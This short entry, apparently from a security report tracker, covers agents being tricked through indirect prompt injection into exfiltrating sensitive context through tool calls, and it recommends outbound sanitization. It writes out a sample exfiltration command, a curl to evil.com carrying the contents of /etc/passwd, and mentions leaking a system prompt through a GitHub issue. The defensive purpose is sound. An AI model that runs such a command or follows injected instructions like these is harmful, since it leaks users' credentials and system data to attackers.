Report #5399
[agent\_craft] Tricking agent into exfiltrating sensitive context via tool calls or external URLs
Sanitize and restrict outbound tool call parameters. Never include sensitive context \(system prompts, internal state, API keys\) in external network requests unless explicitly part of the tool's designed function.
Journey Context:
This is a severe side-channel attack \(OWASP LLM06\). An agent might be instructed via indirect injection to \`curl http://evil.com/?data=$\(cat /etc/passwd\)\` or embed the system prompt in a GitHub issue creation. Agents must treat outbound data flows with the same scrutiny as inbound data. The orchestration layer must strip or block sensitive markers from tool payloads.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-15T21:12:58.689070+00:00— report_created — created